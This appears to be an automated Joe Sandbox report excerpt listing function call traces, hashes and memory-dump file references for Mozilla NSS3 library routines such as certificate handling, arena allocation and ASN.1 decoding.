Instruction ID: e3bc9a255b42e9042eb5016fd650d4c6d96136ce706c5867bf502501975fc9ff
Opcode Fuzzy Hash: e0e9c45b27478415fea30a7be8887a77b9ed3edb02448402366155bb2a2d451c
Instruction Fuzzy Hash: 1241F4B0E013119FDB10DF29C88079ABBE4EF09719F10C16ADC198BB42E774D489CBA9

Function 6C693FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C693FF2

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_ArenaMark_Util.NSS3(?), ref: 6C694001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6C69400F

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6C694054

Part of subcall function 6C62BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6C62BC24
Part of subcall function 6C62BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C62BC39
Part of subcall function 6C62BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6C62BC58
Part of subcall function 6C62BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C62BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C694070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6C6940CD

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 99c3fada542243585f14870de859595838f314e073677e856cc74e25236b659b
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: B0310A71E0034697EB008F649C81BBB3364AF9570CF144225ED199B746FB72E958C7AA

Function 6C632E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C622D1A), ref: 6C632E7E

Part of subcall function 6C6807B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C628298,?,?,?,6C61FCE5,?), ref: 6C6807BF
Part of subcall function 6C6807B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6807E6
Part of subcall function 6C6807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C68081B
Part of subcall function 6C6807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C680825

PR_Now.NSS3 ref: 6C632EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C632EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C622D1A), ref: 6C632F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C622D1A), ref: 6C632F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C632F81

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 15993e4f5fec505f7eb9b4c1b446020056928422903f2fc7870bf012302d87fb
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 653145715421248BF710C614DC48BEE7365EF81318F24797DD11E97AD2EB30984ACAAE

Function 6C620E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C620A2C), ref: 6C620E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C620A2C), ref: 6C620E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C620A2C), ref: 6C620E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C620A2C), ref: 6C620E90
free.MOZGLUE(00000000), ref: 6C620EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C620A2C), ref: 6C620ED9

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 9b19005307a3bab2a88ddab4835d970bd69603edd7f539c8814f00d10ad82eee
Instruction ID: 4e0f1c8466425d5409143da5ac6fb36c32812120d0f64b8a5ee8d44b1ce97d34
Opcode Fuzzy Hash: 9b19005307a3bab2a88ddab4835d970bd69603edd7f539c8814f00d10ad82eee
Instruction Fuzzy Hash: 1021A3B7F0028457EB0045655C65BA776AEDFC1308F050035D85C53A02FB68C8978AAA

Function 6C62AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C62AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C62AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C62AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C62AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C749500), ref: 6C62AF23

Part of subcall function 6C67F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C67F0C8
Part of subcall function 6C67F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C67F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C62AF37

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 44b5fcab7cb8fab12d7ea82c2858dc36e66553b27d27dc60887163cb58a45c15
Instruction ID: 0948964ce8bc8e686d5d8f2ed0c916822ec292a0dd94039db292b9f5899a339e
Opcode Fuzzy Hash: 44b5fcab7cb8fab12d7ea82c2858dc36e66553b27d27dc60887163cb58a45c15
Instruction Fuzzy Hash: 46214CB1909200ABE7208E189C01B9A77E4AF8572CF144719FC649B7C2F779D5058BBF

Function 6C6AEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6AEE85
realloc.MOZGLUE(2E21D3EF,?), ref: 6C6AEEAE
PORT_Alloc_Util.NSS3(?), ref: 6C6AEEC5

Part of subcall function 6C680BE0: malloc.MOZGLUE(6C678D2D,?,00000000,?), ref: 6C680BF8
Part of subcall function 6C680BE0: TlsGetValue.KERNEL32(6C678D2D,?,00000000,?), ref: 6C680C15

htonl.WSOCK32(?), ref: 6C6AEEE3
htonl.WSOCK32(00000000,?), ref: 6C6AEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C6AEF01

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: fece08bda0cf8ef263bd53d19e323005e24b46bac2b700ec7ee2d8ac9546ddcf
Instruction ID: bae028b01f136ffc30c02e29ec9932ff6e288401f15c4b2c8d0eb8dc7d6a1b6c
Opcode Fuzzy Hash: fece08bda0cf8ef263bd53d19e323005e24b46bac2b700ec7ee2d8ac9546ddcf
Instruction Fuzzy Hash: 0721D671A002249FCF109F68DC8479AB7A4EF49358F158179EC099B642E330EC16C7EA

Function 6C627F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C627F68

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6C627F7B

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C627FA7

Part of subcall function 6C67FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C678D2D,?,00000000,?), ref: 6C67FB85
Part of subcall function 6C67FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C67FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C74919C,?), ref: 6C627FBB

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C627FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6C74915C,00000014), ref: 6C627FFE

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: e1977e29ddd4ef026e74cae25522e46de1e0c6ab973f5e003d62c0c8edcf3873
Instruction ID: 722d6395ccf27f9c9aa003f00f738c753770f529b3b3ac78a0d4f16bfadae753
Opcode Fuzzy Hash: e1977e29ddd4ef026e74cae25522e46de1e0c6ab973f5e003d62c0c8edcf3873
Instruction Fuzzy Hash: 31112771D0520557E7209A259D44FBB72ECDF5665CF100A2DFC59C2A81F720A548C6BD

Function 6C62BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6C6ADC29,?), ref: 6C62BE64

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6C6ADC29,?), ref: 6C62BE78

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6C6ADC29,?), ref: 6C62BE96

Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6C6ADC29,?), ref: 6C62BEBB

Part of subcall function 6C67FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C678D2D,?,00000000,?), ref: 6C67FB85
Part of subcall function 6C67FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C67FBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6C6ADC29,?), ref: 6C62BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6C6ADC29,?), ref: 6C62BEF3

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 78db757442e473c053e9acbf86266a1cf70b926ed5074d8722be2f431d31c077
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: 4611BB71E012055BEB008B65AD51FAE3768EF81398F144424ED59D7740EB35E909CBB9

Function 6C669850 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C66985B

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000038), ref: 6C669871

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

SEC_ASN1DecodeItem_Util.NSS3(00000000,00000000,6C74D9B0,?), ref: 6C6698A2

Part of subcall function 6C67E200: PR_SetError.NSS3(FFFFE009,00000000), ref: 6C67E245
Part of subcall function 6C67E200: PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C67E254

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6698B7
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C669901
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C669910

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$Arena_$ArenaFree$ErrorValue$Alloc_AllocateCriticalDecodeEnterInitItem_LockPoolSectionUnlockcalloc
String ID:
API String ID: 2561846027-0
Opcode ID: eb5d3126304d360c2c36e90ab626d786be01b50740027a86a4272d2f03dd76e9
Instruction ID: 5525d92b7c64a8b3ef5b108db1dd23ffc4aa7dd0e46042a4f8de50458609c0be
Opcode Fuzzy Hash: eb5d3126304d360c2c36e90ab626d786be01b50740027a86a4272d2f03dd76e9
Instruction Fuzzy Hash: 8211277290520477FF004F219C81FF63A68EF963ACF050624FD1859BC2E771C8A483AA

Function 6C6B3C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C6B5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6B5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B3D3F

Part of subcall function 6C62BA90: PORT_NewArena_Util.NSS3(00000800,6C6B3CAF,?), ref: 6C62BABF
Part of subcall function 6C62BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6C6B3CAF,?), ref: 6C62BAD5
Part of subcall function 6C62BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6C6B3CAF,?), ref: 6C62BB08
Part of subcall function 6C62BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C6B3CAF,?), ref: 6C62BB1A
Part of subcall function 6C62BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6C6B3CAF,?), ref: 6C62BB3B

PR_EnterMonitor.NSS3(?), ref: 6C6B3CCB

Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90AB
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90C9
Part of subcall function 6C6E9090: EnterCriticalSection.KERNEL32 ref: 6C6E90E5
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E9116
Part of subcall function 6C6E9090: LeaveCriticalSection.KERNEL32 ref: 6C6E913F

PR_EnterMonitor.NSS3(?), ref: 6C6B3CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6B3CF8
PR_ExitMonitor.NSS3(?), ref: 6C6B3D15
PR_ExitMonitor.NSS3(?), ref: 6C6B3D2E

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 7eda89b71f1f7395bc0db764cffa3afdc4035b9e8c6252c02ba3c7c2bff41b07
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 5B1126B57116006BE7205F65EC417CBB2E4EF5230CF400539E40AA7B20EA32F929C75E

Function 6C67FDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C67FE08

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C67FE1D

Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C67FE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C67FE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C67FE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6C67FE6F

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: 4e5d8cc825ca5b75458da4e3f32a4aadafc9642d8f38e4dfd7084fb3929e6a71
Instruction ID: 4a18ccea3273a90f6d12aac04dfbfa228adcb0e375c70698b7fece54c567697b
Opcode Fuzzy Hash: 4e5d8cc825ca5b75458da4e3f32a4aadafc9642d8f38e4dfd7084fb3929e6a71
